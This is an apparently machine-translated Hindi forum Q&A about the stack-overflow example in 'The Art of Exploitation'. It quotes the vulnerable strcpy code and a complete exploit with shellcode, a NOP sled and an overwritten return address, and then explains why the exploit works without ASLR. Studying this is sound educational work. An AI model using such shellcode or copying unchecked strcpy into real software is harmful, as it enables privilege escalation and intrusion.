स्पष्टीकरण पुस्तक की कला से बफर ओवरफ़्लो उदाहरण

Question

मैं इस पुस्तक को आर्ट ऑफ एक्सप्लॉयशन पढ़ रहा था, जो कि थोड़ी अच्छी किताब है और मैं शोषण_notesearch.c फ़ाइल से उस उदाहरण में चलाता हूं।

संक्षेप में लेखक की ओर से notesearch.c

int main(int argc, char *argv[]) { 
    int userid, printing=1, fd; 
    char searchstring[100]; 
    if(argc > 1) // If there is an arg 
     strcpy(searchstring, argv[1]); 
    else // otherwise, 
     searchstring[0] = 0; 

मुख्य कार्य के तर्क searchstring सरणी को कॉपी किया है कार्यक्रम से ऊपर जाने का और अगर तर्क 100 बाइट्स से बड़ा है इसे से वापसी पता अतिप्रवाह होगा की कोशिश करता है मुख्य कार्य।

लेखक exploit_notesearch.c में shellcode तैयार करता है और कहता है कमजोर notesearch.c

char shellcode[]= 
"\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68" 
"\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89" 
"\xe1\xcd\x80"; 

int main(int argc, char *argv[]) { 

    unsigned int i, *ptr, ret, offset=270; 
    char *command, *buffer; 

    command = (char *) malloc(200); 
    bzero(command, 200); 

    strcpy(command, "./notesearch \'"); 
    buffer = command + strlen(command); 

    ret = (unsigned int) &i - offset; // Set return address 

    for(i=0; i < 160; i+=4) // Fill buffer with return address 
     *((unsigned int *)(buffer+i)) = ret; 
    memset(buffer, 0x90, 60); // Build NOP sled 
    memcpy(buffer+60, shellcode, sizeof(shellcode)-1); 

    strcat(command, "\'"); 

    system(command); //run exploit 
} 

आप देख सकते हैं कि shellcode एनओपी स्लेज के साथ संयुक्त है और वापसी पता है कि एनओपी स्लेज पर ले जाना चाहिए। लेखक संदर्भ के बिंदु के रूप में स्थानीय चर के पते का उपयोग करता है और 270 बाइट्स को इस प्रकार एनओपी स्लेज के अनुमानित स्थान को समझने का प्रयास करता है।

जैसा कि मैं समझता हूं कि लेखक मानता है कि कमजोर नोट्स सीटी से मुख्य फ़ंक्शन का स्टैकफ्रेम उसी स्टैक सेगमेंट में होगा, जो मुख्य समारोह के stackframe exploit_notesearch.c से होगा। मुझे यह लगता है क्योंकि स्थानीय चर के पते के साथ इस तरह से हेरफेर मैं इस तरह काम कर सकता हूं।

लेकिन, लेखक इस प्रणाली (कमांड) की तरह सिस्टम() की मदद से कमजोर नोट्स.c.c कहते हैं। मेरा मुद्दा यह है कि यह फ़ंक्शन सिस्टम() कहीं अंदर फोर्क() का उपयोग करता है ताकि बच्चे की प्रक्रिया को जन्म दिया जा सके और उसके बाद प्रक्रिया की छवि बदलने के लिए exec() फ़ंक्शन का उपयोग किया जा सके। लेकिन अगर छवि बदल दी गई है तो इसका मतलब है कि स्टैक सेगमेंट ताजा होगा और स्थानीय वैरिएबल के पते के साथ उन सभी मैनिप्ल्यूशंस मैं exploit_notesearch.c में मुख्य फ़ंक्शन में बेकार होगा, लेकिन किसी भी तरह से यह उन कार्यों का शोषण करता है जो मेरे लिए पूरी तरह उलझन में हैं।

Answer 1

लेखक बस मानता है कि सी संकलक एक ही (या बहुत समान) आभासी पतों और है कि ऑपरेटिंग सिस्टम address randomization (ASLR) प्रदर्शन नहीं करेगा पर उन दो कार्यक्रमों के ढेर स्थापित करेंगे। इसका मतलब है कि दोनों मुख्य कार्यों के ढेर के फ्रेम लगभग उसी स्थान पर होंगे, जो इस शोषण को सक्षम करते हैं।

यह शोषण का एक बहुत ही मजबूत तरीका नहीं है, जैसा कि आप कल्पना कर सकते हैं (यह शायद अधिकांश आधुनिक 64-बिट सिस्टम पर असफल हो जाएगा)। अधिक मजबूत शोषण return oriented programming के रूप में उपयोग कर सकते हैं या प्रासंगिक स्टैक फ्रेम में मौजूदा char *argv पॉइंटर का उपयोग करने का प्रयास कर सकते हैं।